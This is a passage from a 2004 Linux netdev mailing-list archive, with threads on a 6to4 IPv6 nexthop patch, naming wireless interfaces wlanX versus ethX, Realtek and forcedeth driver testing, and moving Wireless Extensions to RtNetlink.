Host AP CVS and submit the patch after that. I'll make a new branch for this cleanup, so the changes will be available there if people are interested in commenting the code before the cleanup is complete. -- Jouni Malinen PGP id EFC895FA From pekkas@netcore.fi Thu Mar 11 05:04:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 05:04:59 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BD4YKO005847 for ; Thu, 11 Mar 2004 05:04:35 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i2BD4SV17022 for ; Thu, 11 Mar 2004 15:04:28 +0200 Date: Thu, 11 Mar 2004 15:04:28 +0200 (EET) From: Pekka Savola To: netdev@oss.sgi.com Subject: patch: ipv6 nexthop can be 6to4 address (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY="1589707168-808551844-993326421=:13709" Content-ID: X-archive-position: 3937 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 3307 Lines: 74 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1589707168-808551844-993326421=:13709 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: FWIW -- Another user just complained about the stupidity of requiring using the "::a.b.c.d" format for creating a tunnel addess as "::/96" is so-called automatic tunneling using compatible addresses, which is deprecated -- and this has nothing to do with configured tunneling or 6to4. So, this is one way of allowing 6to4 addresses as a next-hop. Hopefully this gets fixed before the third anniversary of this problem.. ---------- Forwarded message ---------- Date: Sat, 23 Jun 2001 23:00:21 +0300 (EEST) From: Pekka Savola To: netdev@oss.sgi.com Cc: davem@redhat.com, kuznet@ms2.inr.ac.ru Subject: patch: ipv6 nexthop can be 6to4 address Hi, There's ongoing debate that ipv6 compatible addresses may get deprecated. Some 6to4 relay routers don't support them anymore. Thus it becomes necessary to allow nexthop for the default route to native ipv6 to be a 6to4 address. The current implementation basically assumes the only v6-over-v4 tunneling method is automatic tunneling with compatible addresses. Attached patch fixes this. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords --1589707168-808551844-993326421=:13709 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="linux-2.4.3-6to4-nexthop.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="linux-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pID09IDApDQorCQkJCWdvdG8gdHhfZXJyb3JfaWNt cDsNCiANCi0JCWRzdCA9IGFkZHI2LT5zNl9hZGRyMzJbM107DQorCQkJZHN0 ID0gYWRkcjYtPnM2X2FkZHIzMlszXTsNCisJCX0NCiAJfQ0KIA0KIAlpZiAo aXBfcm91dGVfb3V0cHV0KCZydCwgZHN0LCB0aXBoLT5zYWRkciwgUlRfVE9T KHRvcyksIHR1bm5lbC0+cGFybXMubGluaykpIHsNCg== --1589707168-808551844-993326421=:13709-- From jketreno@linux.co.intel.com Thu Mar 11 08:28:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 08:28:49 -0800 (PST) Received: from caduceus.jf.intel.com (fmr06.intel.com [134.134.136.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BGSeKO014550 for ; Thu, 11 Mar 2004 08:28:40 -0800 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by caduceus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i2BGUaeS012583 for ; Thu, 11 Mar 2004 16:30:36 GMT Received: from linux.co.intel.com (hdlrvguser-177.hd.intel.com [10.127.52.196]) by talaria.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with ESMTP id i2BGMVPG007156 for ; Thu, 11 Mar 2004 16:22:31 GMT Message-ID: <405093A7.90209@linux.co.intel.com> Date: Thu, 11 Mar 2004 10:28:23 -0600 From: James Ketrenos User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: netdev@oss.sgi.com Subject: Device naming for wireless NICs... References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <20040311024816.GC3738@jm.kir.nu> <404FD6BC.7090409@pobox.com> <20040311031709.GC3782@jm.kir.nu> In-Reply-To: <20040311031709.GC3782@jm.kir.nu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3938 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jketreno@linux.co.intel.com Precedence: bulk X-list: netdev Content-Length: 853 Lines: 20 If this topic been hashed a lot already, please let me know the keywords I might search for in the archives to find the threads. I've had a few requests by users of the IPW2100 wireless driver to switch the default interface name to be wlanX vs. ethX. In my prior searches through the wireless drivers in the 2.6.3 kernel tree, I couldn't find any that changed from the default. I don't mind adding a module parameter to change the default name (if that is the standard practice), but thought I'd see what others thing rather than just going off and doing something random. Is there a technical or ease of use reason switching away from ethX? My thinking in keeping it eth was that it then represents a greater chance of "just working" with most networking scripts and utilities that may assume ethX is the interface name. Thanks, James From zdzichu@irc.pl Thu Mar 11 08:37:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 08:37:07 -0800 (PST) Received: from pollux.ds.pg.gda.pl (postfix@pollux.ds.pg.gda.pl [153.19.208.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BGaxKO014958 for ; Thu, 11 Mar 2004 08:37:00 -0800 Received: from localhost (localhost [127.0.0.1]) by pollux.ds.pg.gda.pl (Postfix) with ESMTP id 60E31E1DC5 for ; Thu, 11 Mar 2004 17:36:52 +0100 (CET) Received: from pollux.ds.pg.gda.pl ([127.0.0.1]) by localhost (pollux [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30789-06 for ; Thu, 11 Mar 2004 17:36:52 +0100 (CET) Received: from piorun.ds.pg.gda.pl (piorun.ds.pg.gda.pl [153.19.208.8]) by pollux.ds.pg.gda.pl (Postfix) with ESMTP id 307D6E1DB6 for ; Thu, 11 Mar 2004 17:36:52 +0100 (CET) Received: from mother.ds.pg.gda.pl (qmailr@mother.ds.pg.gda.pl [153.19.213.213]) by piorun.ds.pg.gda.pl (8.12.10/8.11.4) with SMTP id i2BGb4ig012653 for ; Thu, 11 Mar 2004 17:37:05 +0100 Received: (qmail 31356 invoked by uid 1000); 11 Mar 2004 16:36:57 -0000 Date: Thu, 11 Mar 2004 17:36:57 +0100 From: Tomasz Torcz To: netdev@oss.sgi.com Subject: Re: Device naming for wireless NICs... Message-ID: <20040311163657.GB28234@irc.pl> References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <20040311024816.GC3738@jm.kir.nu> <404FD6BC.7090409@pobox.com> <20040311031709.GC3782@jm.kir.nu> <405093A7.90209@linux.co.intel.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <405093A7.90209@linux.co.intel.com> User-Agent: Mutt/1.5.4i X-Virus-Scanned: by amavisd-new at pollux.ds.pg.gda.pl X-archive-position: 3939 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zdzichu@irc.pl Precedence: bulk X-list: netdev Content-Length: 918 Lines: 20 On Thu, Mar 11, 2004 at 10:28:23AM -0600, James Ketrenos wrote: > I don't mind adding a module parameter to change the default name (if that > is the standard practice), but thought I'd see what others thing rather > than just going off and doing something random. This could be handled by nameif in userspace. > Is there a technical or ease of use reason switching away from ethX? My > thinking in keeping it eth was that it then represents a greater chance of > "just working" with most networking scripts and utilities that may assume > ethX is the interface name. I personally find them broken. I had to remove checking the name from ethtool to make it work. Ethtool checks for 'eth' or 'usb' in name, which do not work with my e1000 renamed to 'ep0'. -- Tomasz Torcz Only gods can safely risk perfection, zdzichu@irc.-nie.spam-.pl it's a dangerous thing for a man. -- Alia From mgalgoci@redhat.com Thu Mar 11 08:54:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 08:54:49 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BGshKO015481 for ; Thu, 11 Mar 2004 08:54:44 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2BGse07029134; Thu, 11 Mar 2004 11:54:40 -0500 Received: from lacrosse.corp.redhat.com (lacrosse.corp.redhat.com [172.16.52.154]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2BGse805348; Thu, 11 Mar 2004 11:54:40 -0500 Received: from localhost (mgalgoci@localhost) by lacrosse.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2BGseu24397; Thu, 11 Mar 2004 11:54:40 -0500 X-Authentication-Warning: lacrosse.corp.redhat.com: mgalgoci owned process doing -bs Date: Thu, 11 Mar 2004 11:54:40 -0500 (EST) From: Matthew Galgoci X-X-Sender: mgalgoci@lacrosse.corp.redhat.com To: James Ketrenos cc: netdev@oss.sgi.com Subject: Re: Device naming for wireless NICs... In-Reply-To: <405093A7.90209@linux.co.intel.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3940 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mgalgoci@redhat.com Precedence: bulk X-list: netdev Content-Length: 1627 Lines: 37 On Thu, 11 Mar 2004, James Ketrenos wrote: > > If this topic been hashed a lot already, please let me know the keywords I might > search for in the archives to find the threads. > > I've had a few requests by users of the IPW2100 wireless driver to switch the > default interface name to be wlanX vs. ethX. In my prior searches through the > wireless drivers in the 2.6.3 kernel tree, I couldn't find any that changed from > the default. > > I don't mind adding a module parameter to change the default name (if that is > the standard practice), but thought I'd see what others thing rather than just > going off and doing something random. > > Is there a technical or ease of use reason switching away from ethX? My > thinking in keeping it eth was that it then represents a greater chance of "just > working" with most networking scripts and utilities that may assume ethX is the > interface name. TBH I don't think it much matters. I know that at least Red Hat's networking scripts (and possibly other distributions) did at one point assume that each interface would be named ethX, but I don't think that is the case anymore. Some drivers even present both a wlanX and an ethX interface, which I think is an atavism that goes back to networking scripts breaking horribly on non-ethX interface names. Going forward it might be worth while to standardize all wireless interface names, just to show at a glance that an interface is 802.11x, and also to differentiate the fact that eventually 802.11 will be its own network stack. -- Matthew Galgoci System Administrator Red Hat, Inc 919.754.3700 x44155 From jt@bougret.hpl.hp.com Thu Mar 11 10:22:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 10:22:20 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BIM5KO019189 for ; Thu, 11 Mar 2004 10:22:06 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 794841C02C9C; Thu, 11 Mar 2004 10:22:05 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id KAA23347; Thu, 11 Mar 2004 10:22:05 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B1Uon-0001Yo-00; Thu, 11 Mar 2004 10:22:05 -0800 Date: Thu, 11 Mar 2004 10:22:04 -0800 To: netdev@oss.sgi.com, James Ketrenos Subject: Re: Device naming for wireless NICs... Message-ID: <20040311182204.GA5989@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3941 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1605 Lines: 41 James Ketrenos wrote : > > If this topic been hashed a lot already, please let me know the > keywords I might search for in the archives to find the threads. > > I've had a few requests by users of the IPW2100 wireless driver to > switch the default interface name to be wlanX vs. ethX. In my prior > searches through the wireless drivers in the 2.6.3 kernel tree, I > couldn't find any that changed from the default. This is my personal rule of thumb : o if the interface use Ethernet frames (i.e. offer Ethernet emulation), then it should be name 'ethX'. o if the interface use 802.11 frames (rawe/native), it should use 'wifiX'. The Aironet driver is a good example of this, for each hardware it offers two interfaces, 'ethX' and 'wifiY'. Personally, I've been converting a few drivers to use 'ethX' and removing 'wlanX' hacks where I saw them.. > I don't mind adding a module parameter to change the default name > (if that is the standard practice), but thought I'd see what others > thing rather than just going off and doing something random. Just point them to : http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/HOTPLUG.txt > Is there a technical or ease of use reason switching away from ethX? > My thinking in keeping it eth was that it then represents a greater > chance of "just working" with most networking scripts and utilities > that may assume ethX is the interface name. Note that the RedHat graphical configuration tool (neat) seems to insist on only using 'ethX' names. Yes, only using 'ethX' is generally safer (principle of least surprise). Have fun... Jean From jgarzik@pobox.com Thu Mar 11 10:23:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 10:23:36 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BINPKO019382 for ; Thu, 11 Mar 2004 10:23:26 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36838 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1Uq3-0003nE-V4; Thu, 11 Mar 2004 18:23:24 +0000 Message-ID: <4050AE90.9070005@pobox.com> Date: Thu, 11 Mar 2004 13:23:12 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Ketrenos CC: netdev@oss.sgi.com Subject: Re: Device naming for wireless NICs... References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <20040311024816.GC3738@jm.kir.nu> <404FD6BC.7090409@pobox.com> <20040311031709.GC3782@jm.kir.nu> <405093A7.90209@linux.co.intel.com> In-Reply-To: <405093A7.90209@linux.co.intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3942 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 831 Lines: 22 James Ketrenos wrote: > > If this topic been hashed a lot already, please let me know the keywords > I might search for in the archives to find the threads. > > I've had a few requests by users of the IPW2100 wireless driver to > switch the default interface name to be wlanX vs. ethX. In my prior > searches through the wireless drivers in the 2.6.3 kernel tree, I > couldn't find any that changed from the default. I lean towards wlan%d, but until we have the generic 802.11 stack going it's really up to the driver maintainer (you, in this case). Like Matthew said, any code that assumes a specific interface prefix, be it eth%d or wlan%d, is buggy. Users are allowed to choose random interface names for their interfaces, often via nameif(8) program. My own ethtool program is broken in this regard... Jeff From jgarzik@pobox.com Thu Mar 11 10:25:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 10:25:35 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BIPSKO019871 for ; Thu, 11 Mar 2004 10:25:29 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36839 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1Us2-0003oO-PS; Thu, 11 Mar 2004 18:25:26 +0000 Message-ID: <4050AF0B.7040901@pobox.com> Date: Thu, 11 Mar 2004 13:25:15 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Matthew Galgoci CC: James Ketrenos , netdev@oss.sgi.com Subject: Re: Device naming for wireless NICs... References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3943 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 505 Lines: 14 Matthew Galgoci wrote: > Going forward it might be worth while to standardize all wireless interface names, just > to show at a glance that an interface is 802.11x, and also to differentiate the fact that > eventually 802.11 will be its own network stack. I definitely want to standardize on something like wlan%d. We should get that for free when a generic 802.11 stack is in place, which implies that there will be a common wireless helper as a peer to ether_setup() in the current tree. Jeff From romieu@fr.zoreil.com Thu Mar 11 10:40:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 10:40:56 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BIeoKO020761 for ; Thu, 11 Mar 2004 10:40:51 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2BIdbgf014792; Thu, 11 Mar 2004 19:39:37 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2BIdbxk014791; Thu, 11 Mar 2004 19:39:37 +0100 Date: Thu, 11 Mar 2004 19:39:37 +0100 From: Francois Romieu To: crochu nicolas Cc: netdev@oss.sgi.com Subject: Re: [update] 2.6.4-rc2 - Realtek 8169 patches Message-ID: <20040311193937.A14638@electric-eye.fr.zoreil.com> References: <20040307023748.A7829@electric-eye.fr.zoreil.com> <1078822878.2408.8.camel@pinacola> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1078822878.2408.8.camel@pinacola>; from nicolas.crochu@sgam.com on Tue, Mar 09, 2004 at 10:01:19AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 3944 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 174 Lines: 8 crochu nicolas : > If i apply only these patch, everything goes fine [...] Did you stress the driver, say (rsync), ping -f -s 8, ttcp ? -- Ueimor From mgalgoci@redhat.com Thu Mar 11 11:36:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 11:36:10 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BJa2KO022729 for ; Thu, 11 Mar 2004 11:36:03 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2BJXw07025973; Thu, 11 Mar 2004 14:33:58 -0500 Received: from lacrosse.corp.redhat.com (lacrosse.corp.redhat.com [172.16.52.154]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2BJXw827561; Thu, 11 Mar 2004 14:33:58 -0500 Received: from localhost (mgalgoci@localhost) by lacrosse.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2BJXwA02247; Thu, 11 Mar 2004 14:33:58 -0500 X-Authentication-Warning: lacrosse.corp.redhat.com: mgalgoci owned process doing -bs Date: Thu, 11 Mar 2004 14:33:58 -0500 (EST) From: Matthew Galgoci X-X-Sender: mgalgoci@lacrosse.corp.redhat.com To: jt@hpl.hp.com cc: netdev@oss.sgi.com, James Ketrenos Subject: Re: Device naming for wireless NICs... In-Reply-To: <20040311182204.GA5989@bougret.hpl.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3945 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mgalgoci@redhat.com Precedence: bulk X-list: netdev Content-Length: 463 Lines: 17 > Note that the RedHat graphical configuration tool (neat) seems > to insist on only using 'ethX' names. Yes, only using 'ethX' is > generally safer (principle of least surprise). neat is old and outdated :) Have a look at the redhat-config-network tools in Red Hat Linux or in Fedora, the system-config-network tools. I am sure the author of the tools would appreciate feedback :) -- Matthew Galgoci System Administrator Red Hat, Inc 919.754.3700 x44155 From jt@bougret.hpl.hp.com Thu Mar 11 11:47:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 11:47:34 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BJlTKO023639 for ; Thu, 11 Mar 2004 11:47:29 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id DD3FD1C01258; Thu, 11 Mar 2004 11:47:28 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id LAA26953; Thu, 11 Mar 2004 11:47:28 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B1W9Q-00024G-00; Thu, 11 Mar 2004 11:47:28 -0800 Date: Thu, 11 Mar 2004 11:47:28 -0800 To: Matthew Galgoci Cc: netdev@oss.sgi.com, James Ketrenos Subject: Re: Device naming for wireless NICs... Message-ID: <20040311194728.GA7925@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040311182204.GA5989@bougret.hpl.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3946 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1021 Lines: 26 On Thu, Mar 11, 2004 at 02:33:58PM -0500, Matthew Galgoci wrote: > > Note that the RedHat graphical configuration tool (neat) seems > > to insist on only using 'ethX' names. Yes, only using 'ethX' is > > generally safer (principle of least surprise). > > neat is old and outdated :) > > Have a look at the redhat-config-network tools in Red Hat Linux or in Fedora, > the system-config-network tools. I don't use Red-Hat, it's just that people here complain to me when their Red-Hat doesn't work. The joy of being the "Linux expert". > I am sure the author of the tools would appreciate feedback :) My approach has always been 'edit the darn text file', so I may not be the most qualified on the subject of graphical tools. I kept using the original Pcmcia scripts up to one month ago. Anyway, I write enough documentation on what I believe is "the right way", but it's funny, the Red-Hat people never send me feedback on those docs. But, somehow, life goes on and everything works ;-) > Matthew Galgoci Jean From won@home.nl Thu Mar 11 15:50:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 15:50:41 -0800 (PST) Received: from smtpq2.home.nl (smtpq2.home.nl [213.51.128.197]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2BNobKO010913 for ; Thu, 11 Mar 2004 15:50:38 -0800 Received: from [213.51.128.136] (port=55904 helo=smtp5.home.nl) by smtpq2.home.nl with esmtp (Exim 4.20) id 1B0lM2-0002RN-Ak; Tue, 09 Mar 2004 18:49:22 +0100 Received: from co149259-a.almel1.ov.home.nl ([213.51.228.213]:32827 helo=Athlon) by smtp5.home.nl with esmtp (Exim 4.20) id 1B0lLx-0004Iz-SZ; Tue, 09 Mar 2004 18:49:20 +0100 Subject: From: Mon To: netdev@oss.sgi.com Cc: c-d.hailfinger.kernel.2004@gmx.net Content-Type: text/plain Message-Id: <1078860014.6966.9.camel@Athlon> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Tue, 09 Mar 2004 19:20:14 +0000 Content-Transfer-Encoding: 7bit X-AtHome-MailScanner-Information: Neem contact op met support@home.nl voor meer informatie X-AtHome-MailScanner: Found to be clean X-archive-position: 3947 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: won@home.nl Precedence: bulk X-list: netdev Content-Length: 670 Lines: 20 Hi, Well i've tried your forcedeth module (v0.23, i'm running 2.6.3) and i have to say: it works great! When copying 800mb files locally i get a stable 950 kb/s. I'm using a crappy 10mbit hub to connect my pc's here so unfortunatly i can't test a 100mb connection. When i'm on a 100mb switched network, i'll test again. I also have a question: does Wake on Lan Work? If so: great, i hope to test it soon. If not: will it work in a future release? Anyway, im really glad i can use a nice opensource driver for my onboard nic. Maybe now i can pull the eepro100 out again :) I'm looking forward to a new version of the module, and i'll be happy to test it. Ramon. From jt@bougret.hpl.hp.com Thu Mar 11 16:12:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 16:12:05 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2C0C0KO011611 for ; Thu, 11 Mar 2004 16:12:03 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id B97471C01665; Thu, 11 Mar 2004 16:12:00 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id QAA07396; Thu, 11 Mar 2004 16:12:00 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B1aHQ-0003Yg-00; Thu, 11 Mar 2004 16:12:00 -0800 Date: Thu, 11 Mar 2004 16:12:00 -0800 To: Jeff Garzik Cc: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list Message-ID: <20040312001200.GA13387@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <40469DA1.9090502@pobox.com> <20040305040352.GA16669@bougret.hpl.hp.com> <404F5461.80000@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404F5461.80000@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3948 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1739 Lines: 52 On Wed, Mar 10, 2004 at 12:46:09PM -0500, Jeff Garzik wrote: > Jean Tourrilhes wrote: > >+static inline int rtnetlink_standard_call(struct net_device * dev, > >+ struct iw_event * request, > >+ int request_len, > >+ iw_handler handler) > >+{ > >+ const struct iw_ioctl_description * descr = NULL; > >+ unsigned int cmd; > >+ union iwreq_data * wrqu; > >+ int hdr_len; > >+ struct iw_request_info info; > >+ int ret = -EINVAL; > >+ > >+ /* Get the description of the IOCTL */ > >+ cmd = request->cmd; > >+ if((cmd - SIOCIWFIRST) >= standard_ioctl_num) > >+ return -EOPNOTSUPP; > >+ descr = &(standard_ioctl[cmd - SIOCIWFIRST]); > > > OK, this patch looks good to me. Jeff (and others), I'm hitting a problem with migrating Wireless Extensions to RtNetlink. The basic model of Wireless Extensions is Query/Reply. I ask for the ESSID, the card returns the ESSID, I ask for a scan, the card returns the scan results. This doesn't work well with RtNetlink. RtNetlink supports only Set and Dump. Set doesn't allow to return data, and Dump doesn't take any input arguments, so always return everything. Using Dump doesn't make sense, I don't want the card to perform a Wireless Scan every time I want to check the ESSID (each Wireless Scan takes a few seconds). The RtNetlink interface was clearly not designed for hardware devices where the retrieval of each 